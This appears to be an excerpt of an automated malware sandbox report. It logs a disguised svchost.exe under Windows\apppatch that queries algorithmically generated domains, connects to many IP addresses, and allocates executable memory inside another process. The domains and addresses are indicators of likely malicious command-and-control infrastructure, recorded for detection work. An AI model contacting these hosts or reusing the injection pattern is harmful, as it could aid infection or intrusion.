    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_023F1360 mov edx, dword ptr fs:[00000030h]9_2_023F1360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_023F1000 mov eax, dword ptr fs:[00000030h]9_2_023F1000
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02261360 mov eax, dword ptr fs:[00000030h]13_2_02261360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02261360 mov edx, dword ptr fs:[00000030h]13_2_02261360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_02261000 mov eax, dword ptr fs:[00000030h]13_2_02261000
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01041360 mov eax, dword ptr fs:[00000030h]16_2_01041360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01041360 mov edx, dword ptr fs:[00000030h]16_2_01041360
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_01041000 mov eax, dword ptr fs:[00000030h]16_2_01041000
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401150 CreateFileA,GetFileSizeEx,GetProcessHeap,RtlAllocateHeap,memset,SetFilePointer,LockFile,ReadFile,UnlockFile,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,IsBadWritePtr,0_2_00401150

    HIPS / PFW / Operating System Protection Evasion

    barindex
    System process connects to network (likely due to code injection or exploit)
    Source: C:\Windows\apppatch\svchost.exeDomain query: vofypuf.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 106.15.232.163 8000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 3.94.10.34 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.190.63.136 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: qegyhip.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 72.52.179.174 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: qeqyloq.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qeqyfaq.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.85.183.50 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.225.91.73 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: galyzeb.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.26.96 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 52.34.198.229 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 75.2.71.199 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.150.10.48 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: gahykih.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 23.253.46.64 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: puzypug.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.191.50.83 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 13.248.169.48 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.212.210 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.67.189 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 18.208.156.248 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.59.243.227 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 208.100.26.245 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.182.252 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: vowydet.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: puryxuq.com
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.97.3 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 44.221.84.105 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.212.231.82 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.96.3 443Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 178.162.203.226 80Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeDomain query: lykyxoj.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qegynap.com
    Source: C:\Windows\apppatch\svchost.exeDomain query: qebyvyl.com
    Allocates memory in foreign processes
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C10000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: AB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23F0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2260000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1040000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2570000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DE0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11A0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1410000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FC0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2830000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3080000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2580000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 930000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C00000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2920000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F10000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2370000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EF0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2520000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FC0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2110000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2270000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2970000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F80000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 660000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6F0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 750000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D10000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3150000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2380000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15A0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1070000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2750000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DD0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30C0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 8C0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 980000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1480000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: EB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2890000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2150000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A50000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A50000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 970000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2130000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 790000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2130000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CA0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2570000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E40000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FB0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E70000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CE0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C00000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E60000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21F0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1420000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2790000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EE0000 protect: page execute and read and writeJump to behavior
